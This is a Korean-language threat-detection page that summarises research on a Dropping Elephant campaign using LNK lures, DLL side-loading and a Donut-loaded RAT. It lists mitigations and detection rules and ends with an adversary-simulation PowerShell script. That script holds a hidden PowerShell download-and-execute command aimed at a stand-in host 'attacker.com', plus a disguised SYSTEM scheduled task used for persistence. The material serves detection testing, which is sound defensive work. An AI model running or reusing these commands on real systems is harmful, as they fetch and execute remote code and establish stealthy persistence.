최신 유행의 악성코드: Dropping Elephant의 로더 체인 내부
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Dropping Elephant에 속하는 것으로 여겨지는 정교한 캠페인은 메모리에 상주하는 원격 액세스 트로이 목마를 전달하기 위해 중국 테마의 미끼 문서를 사용합니다. 이 침투는 진짜 Microsoft 바이너리를 통한 DLL 사이드 로딩과 디스크 기반 감지를 피하기 위한 Donut 쉘코드 로더에 의존합니다. 최종 페이로드는 또한 제어 흐름 평탄화 및 런타임 API 복원을 포함한 고급 회피 방법을 사용합니다.
조사
Rapid7 연구원들은 PDF 문서로 위장한 악성 Windows 바로 가기로 시작된 선제적인 사냥 중에 위협을 발견했습니다. 그들의 조사는 초기 스테이징에서 페이로드 체인을 따랐으며 chinagreenenergy[.]org 의 DLL 사이드 로딩을 통해 APPWIZ.cpl 의 인메모리 RAT의 실행까지 이어집니다. Diaphora를 통한 코드 수준 분석은 광범위한 재작업에도 불구하고 이전의 Dropping Elephant 샘플과의 공통 혈통을 확인했습니다.
완화
방어자는 PowerShell을 실행하는 바로 가기 파일과 C:UsersPublic에 있는 의심스러운 페이로드 스테이징과 같은 행동 탐지를 우선해야 합니다. 통상적이지 않은 이름의 예약된 작업을 모니터링하고 예상치 못한 디렉토리에서의 DLL 사이드 로딩을 식별하는 것도 중요합니다. 또한, 엔드포인트 방어는 AMSI, WLDP 및 ETW에 대한 변조를 감지하기 위해 메모리 수준의 가시성이 필요합니다.
대응
이 활동이 감지되면 추가 명령 및 제어 트래픽을 방해하기 위해 즉시 영향을 받은 시스템을 격리하십시오. 인젝션된 RAT를 식별하기 위해 메모리 포렌식을 수행하고 지속성을 위한 예약된 작업을 검사하십시오. 네트워크 로그도 알려진 C2 도메인으로의 승인되지 않은 HTTPS 트래픽 및 파일 유출의 징후를 검토해야 합니다.
공격 흐름
탐지
가능한 IP 조회 도메인 통신 시도 (dns를 통해)
보기
비정상적인 코드 페이지 실행 변경 (cmdline을 통해)
보기
의심스러운 예약된 작업 (감사를 통해)
보기
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성 통해)
보기
의심스러운 디렉토리에서 로드된 Vcruntime140 동적 라이브러리 (이미지 로드 통해)
보기
공용 사용자 프로필의 의심스러운 파일 (파일 이벤트 통해)
보기
Dropping Elephant의 멀웨어 캠페인 탐지 [Windows 네트워크 연결]
보기
Fondue.exe를 통한 악성 DLL 사이드 로딩 [Windows 파일 이벤트]
보기
바로가기 및 사이드 로딩을 통한 Dropping Elephant 멀웨어 캠페인 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제조건: 원격 측정 및 기준선 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대적 기법(TTP)의 정밀한 실행을 자세히 설명합니다. 명령과 서술은 식별된 TTP를 직접 반영해야 하며 탐지 논리에 기대되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.
-
공격 서술 및 명령: 적대자는 지속성을 확립하고 다운로더를 실행하려고 합니다. 표준 이메일 필터를 우회하기 위해, 그들은 PDF로 보이는
GRES3001.lnk라는 이름의 바로 가기 파일을 사용합니다. 클릭하면conhost.exe를 호출하여 PowerShell 스크립트를 실행합니다. 동시에, 그들은GoogleErrorReport라는 이름의 예약된 작업을 만들어 지속성을 확립합니다. 이 작업은 공용 디렉토리에서 진짜 Google 에러 리포터로 위장하여Fondue.exe를 실행하도록 설계되어 대수로운 검사를 피합니다. -
회귀 테스트 스크립트:
# 1. 바로 가기/Conhost 동작 시뮬레이션 # 지정된 문자열을 명령행에 사용하여 conhost.exe의 실행을 시뮬레이션합니다 Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # 주의: rule의 'CommandLine contains GRES3001.lnk'에 엄격히 일치하려면 해당 파일에서 온 것처럼 프로세스 호출을 시뮬레이션합니다. # 간단한 스크립트에서 쉽게 부모 프로세스 이름을 스포핑할 수 없으므로, 예상되는 명령행 문자열을 시뮬레이션합니다. Write-Host "[!] GRES3001.lnk 트리거 시뮬레이션 중..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'" # 실제 환경에서는 Sysmon의 'CommandLine' 필드에 대상 문자열이 포함됩니다. # 2. 예약 작업 및 Fondue.exe 사이드 로딩 시뮬레이션 Write-Host "[!] GoogleErrorReport 예약 작업 시뮬레이션 중..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force Write-Host "[+] 시뮬레이션 완성. SIEM에서 경고를 확인하세요." -
정리 명령:
# 더미 멀웨어 바이너리 제거 Remove-Item -Path "C:UsersPublicFondue.exe" -Force # 악성 예약 작업 제거 Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] 정리 완성."